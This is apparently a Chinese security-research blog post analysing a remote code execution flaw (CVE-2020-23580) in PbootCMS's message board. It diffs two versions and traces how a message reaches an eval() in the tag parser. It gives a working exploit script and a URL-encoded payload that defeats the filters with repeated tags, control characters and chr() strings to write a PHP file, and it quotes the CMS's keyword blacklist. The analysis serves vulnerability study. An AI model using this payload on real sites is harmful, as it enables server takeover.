PbootCMS是PbootCMS个人开发者的一款使用PHP语言开发的开源企业建站内容管理系统(CMS)。 PbootCMS中存在后台安全漏洞,该漏洞源于该平台的message board功能未对数据做有效验证,攻击者可通过该漏洞引发代码远程执行。以下产品及版本受到影响:PbootCMS 2.0.8(但从实际情况看来疑似2.0.7) 版本。
码云上找到release下载2.0.7,解压,修改PHPStudy的Apache网站根目录。
访问,
可能会遇到这样的错误,这是因为发布的源码默认采用sqlite数据库。改正此错误可以参考此链接,按照提示把数据库配置连接驱动修改为pdo_sqlite
,打开数据库配置文件config/database.php,找到'type'这一行,
把sqlite改为pdo_sqlite。
如果需要启用Mysql版本,请导入目录下数据库文件/static/backup/sql/xxx.sql,
> mysql -u root -p create database pb; use pb; source ...\PbootCMS-V2.0.8\static\backup\sql\xxx.sql
同时请注意使用最新日期名字的脚本文件,并修改config/database数据库连接文件信息。
改好后文件如下,
此时再访问即可正常访问。
在BeyondCompare中比较2.0.8和2.0.7版本的差异(示意图中左为2.0.8版本,右为2.0.7版本),差异有数处,经查看并不是都有价值,其中有意思的一处差异在apps\home\controller\MessageController.php被发现。
其中,PBootCMS 2.0.8的preg_replace_r()如下,
function preg_replace_r($search, $replace, $subject) { while (preg_match($search, $subject)) { $subject = preg_replace($search, $replace, $subject); } return $subject; }
我们写个demo对比一下新生代的preg_replace_r()和旧的单纯的str_replace()的差异,
<?php function preg_replace_r($search, $replace, $subject) { while (preg_match($search, $subject)) { $subject = preg_replace($search, $replace, $subject); } return $subject; } echo str_replace('pboot:if', '', 'pbootpboot:if:if'); echo "\n"; echo preg_replace_r('/pboot:if/i', '', 'pbootpboot:if:if'); echo "\n"; /* 输出 > php demo.php pboot:if */
一作比较,不难理解这一处差异,preg_replace_r()是递归调用,目的是将pboot:if这个pattern在目标字符串中完全清除掉,可以猜测,PBoot2.0.7中,可以通过双写来绕过str_replace()的某种限制。
另外,apps\home\controller\ParserController.php中也有差异。
MessageController中提到了pboot:if,此处便有parserIfLabel()函数来解析该标签,并做了一定的安全检查,如果向下看,还能在此函数内部看到eval(),攻击者引发代码远程执行的点有可能在此。
接下来我们先看看PbootCMS 2.0.7的MessageController.php,
最开始映入眼帘的是构造函数,
public function __construct() { $this->model = new ParserModel(); }
看来Message和Parser是有密切联系的,继续向下看,
这实现了新增留言的功能,结合提示,我们知道该漏洞源于该平台的message board功能未对数据做有效验证,以此推之,漏洞点有可能在这里。在这个函数的后半部分我们可以看到刚才在对比中发现的差异之一str_replace('pboot:if', '', $field_data)
,
这里先解释一下,查看PbootCMS的文档可以得知,PbootCMS实现了多种标签功能,这里的pboot:if应该是{pboot:if}标签。且在ParserController的函数中我们看到,对{pboot:if}标签的解析使用了eval,若这个过程过滤不严,便有导致任意代码执行的风险,这一点与漏洞信息是一致的,暂时不需要再去全局搜索可能的任意代码执行的功能点。另外,这里既然有修补且有贴合的漏洞信息,就很大概率是有漏洞的,并且这里的str_replace()和ParserController中的一些安全检查一定是可以绕过的。至于具体怎么绕过,是后面要考虑的事情,现在的问题是理清这个攻击链。
前面我们看到,ParserController的parserIfLabel()函数中做了修改,且有eval()函数,我们大胆猜测parserIfLabel()便是任意代码执行的点(如果猜错了也没啥,换一个再猜便是doge)。那么问题来了,怎么才能走到parserIfLabel()呢。作为一个初学者,面对一个并不熟悉的CMS,在查看手册没发现什么信息的情况下,我选择一步步尝试,这里先Find Usage找找思路。
再去看parserAfter(),
看到这里,继续往上一级看就意义不太大了,不如找一个点进去看看,
内容大体上都差不多,与parserAfter()同时出现的函数有很多,应该都是来解析标签辅助生成页面的,我们至少可以明白一点:基本上是个页面,都会用到parserAfter()来解析一下标签,生成一下页面,也就会调用到里面的parserIfLabel(),就比如我们访问主页,也能调用到parserIfLabel(),
接下来的问题就是,怎么将payload作为$content传给parserIfLabel()。我们可以推测出漏洞是留言产生的,所以想要把留言传给parserIfLabel(),就要在留言板里展示留言。
想到这里,我们先随便留言试一下,
在MessageController的index()中下断,
可以看到,我们的留言内容字符串payload
作为$field_data在被处理(理论上放在留言框的其它字段也可以,但是考虑到手机号等字段可能要存入数据库,还是不要给自己找麻烦了)。下面走几步步出即可,
接下来会提示我们留言成功。我们在parserIfLabel()中下断,然后刷新一下页面,会得到如下的调用栈,
ParserController.php:2526, app\home\controller\ParserController->parserIfLabel()
ParserController.php:80, app\home\controller\ParserController->parserAfter()
IndexController.php:207, app\home\controller\IndexController->getAbout()
IndexController.php:120, app\home\controller\IndexController->_empty()
2:2, core\basic\Kernel::qcpgvcxefcqqqf0bba703f477b69cec30c28a8a4d10cc4()
2:2, core\basic\Kernel::run()
start.php:17, require()
index.php:23, {main}()
同时会有数据送入parserIfLabel()处理,大概是页面内容,不过只能找到下面这条默认留言,而没有我们的新增的留言。
当然,刷新完的页面中,也只有默认留言,
从这个调试过程中我们注意到两点:一是我们新的留言没有被传进来,二是这条默认留言由于不含有pattern,匹配不到,所以不会进入内部的for循环,更不会触发eval()。
这引导我们要注意两个问题,一是如何如何让留言被显示在留言板的这个页面上;二是如何构造payload实现任意代码执行,问题二要解决的问题也就是绕过安全限制的问题,放在下面详细讨论。
前面看到过这样,
我们猜测展示的留言是后台决定的,就像某些微信公众号文章里面,只有被公众号选为精选评论的评论才可以被展示出来一样(如果我搞错了请忽略这句话)。
于是我们访问admin.php,默认admin:123456,登录,查看留言,
可以看到我们的新留言,另外和系统的默认留言相比,差了一个显示的按钮,
点击新增的留言的按钮,令其可以展示在留言板页面上,效果如下。
所以这个漏洞的场景大概是这样的:恶意的留言绕过了安全检查,且被管理员无意之间展示了出来,当用户再次访问留言板页面时,Server端触发了任意代码执行。
摸清了流程,我们该考虑构造payload来绕过安全检查,目前可见的有一处MessageController.php的str_replace()和一处ParserController.php的parserIfLabel()。
首先我们明确,我们的payload要伪装成pboot:if
标签的样子。
对第一处MessageController.php的str_replace()的绕过较为容易,只需要双写pboot:if
即可,重点在于构造既符合parserIfLabel($content)中pattern的要求,又能实现绕过其内部安全检查的payload。
parserIfLabel($content)中的$pattern是这样的/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/
,所以我们的payload的形式可以是如下的样子:{pbootpboot:if:if(xxx)}yyy{/pbootpboot:if:if}。接下来我们先发一个这样的留言看看情况,MessageController的index()下断,
可见第三次进入for循环时,$field_data即为我们的留言内容,
可以看到,在经历了一次,str_replace()操作后,payload正好成了if标签的样子,继续向下走,
此时要将包含了payload的$data数组传给addMessage(),跟进去看看,
继续跟进insert,在经历了大量程序性操作之后,我们来到了insert()的最后一步,
可以看到最后在执行数据库操作之前,又进行了一次str_replace('pboot:if')操作,最终效果如下,
为了解决这个问题,我们要二次双写,写成{pbootpbootpboot:if:if:if(xxx)}yyy{/pbootpbootpboot:if:if:if},效果如下。
接下来从管理员页面将这条留言设置为可展示,我们在parserIfLabel()中下断并刷新一下留言板。
可以看到,开标签{pbootpbootpboot:if:if:if(xxx)}中括号内部的字符xxx被收入进了$matches[1]。
继续向下走,
xxx正在接受安全检查,因为xxx只是个demo,顺利过关,最后顺利来到eval。
从上一小节中我们可以看到,开标签{pbootpbootpboot:if:if:if(xxx)}中括号内部的字符xxx被收入进了$matches[1]并最终进入eval,接下来我们要考虑的就是如何让恶意的字符串进入eval。安全检查主要有两关:一是带有函数的条件语句进行安全校验,函数存在或匹配到完整的eval字符串,且$value不在白名单里则将$danger置为true,就无法进入后面的eval;
二是过滤了很多特殊字符串,导致很多常用的可用于恶意功能的函数不能用了,
这些字符串有
(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)
此处拦截的目标有写文件的函数、phpinfo和命令执行的函数。
别的不说,正常情况下,第一关就有些难度,但凡有个不在白名单里的函数,function_exists($value)都为true,! in_array($value, $white_fun)也为true,这样一来$danger肯定为true了。
到此,如果没有别的办法,利用就算是失败了,不过我们有P神的提示(可能并不完全贴合)。在函数调用时,在括号前面增加控制字符([\x00-\x20])不会影响函数执行。
针对这里的正则匹配,如果我们构造func\x01()
,应该是可以绕过检测的。
有如下demo,
<?php $danger = 0; $white_fun = array( 'date', 'in_array', 'explode', 'implode' ); $matches = 'fopen'.chr(01).'('; print_r($matches); if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches, $matches2)) { foreach ($matches2[1] as $value) { if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) { $danger = 1; break; } } } echo "\n"; print_r($danger); /* fopen( 0 */
证明用控制字符可行,我们绕过了第一关的匹配,接下来要想怎么过第二关,前面提到有一部分写文件的函数、phpinfo和命令执行的函数都在黑名单里,但还是有个别漏网之鱼,一方面fputs(fopen("demo.php","w"),"xxx");
可以写文件,尽管$_GET、$_POST、phpinfo
之类的字符串都被列入黑名单,但是由于有一个天然的eval,我们还是可以通过chr()拼接在eval时形成phpinfo等字符串的,这里就不写一句话了,只写个phpinfo;另一方面黑名单里有eval而没有assert,我们也可以选择assert("xxx")。
exp如下,
<?php $danger = 0; $white_fun = array( 'date', 'in_array', 'explode', 'implode' ); $s0 = "phpinfo"; $s1 = ""; for ($i=0; $i<strlen($s0); $i++) { $s1 .= 'chr'.chr(01).'('.ord($s0[$i]).')'; if($i!=strlen($s0)-1) $s1 .= "."; } $matches = 'fopen'.chr(01).'('; $matches = 'fputs'.chr(01).'(fopen'.chr(01).'("info.php","w"),"<?php ".'.$s1.chr(01).'."();?>")'; $matches = '{pbootpbootpboot:if:if:if('.$matches.')}yyy{/pbootpbootpboot:if:if:if}'; // print_r($matches); if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches, $matches2)) { foreach ($matches2[1] as $value) { if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) { $danger = 1; break; } } } echo "\n"; print_r($danger); echo "\n"; echo urlencode($matches); /* 0 %7Bpbootpbootpboot%3Aif%3Aif%3Aif%28fputs%01%28fopen%01%28%22info.php%22%2C%22w%22%29%2C%22%3C%3Fphp+%22.chr%01%28112%29.chr%01%28104%29.chr%01%28112%29.chr%01%28105%29.chr%01%28110%29.chr%01%28102%29.chr%01%28111%29%01.%22%28%29%3B%3F%3E%22%29%29%7Dyyy%7B%2Fpbootpbootpboot%3Aif%3Aif%3Aif%7D */
改包,将content字段改为payload即可,
然后在后台将此留言置为可显示,然后访问相应文件即可。
解释一下为什么我猜测出问题的版本是2.0.7:因为我在2.0.8与2.0.9的比对中没看出对2.0.8的留言板功能的明显改动(大部分改动是关于百度快速推送的),虽然2.0.9的更新中明确写了如下一句话,
但是可能修复的不是这个漏洞,后面又对比了2.0.7版本和2.0.8版本的差异,发现最有意义的差异之一便是2.0.8版本中采用了preg_replace_r()函数来彻底消除IF标签,这样的话,留言板应该就不会解析if标签,也就不会出现问题了。另外,查看了一下,Pbootcms的其它CVE的代码版本号都比较早了,直觉上讲与此漏洞没有关系,这都是猜测,不知对否,希望师傅们指正。当然这个分析漏洞的过程更有意义。
https://www.cvedetails.com/cve/CVE-2020-23580/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-23580
https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html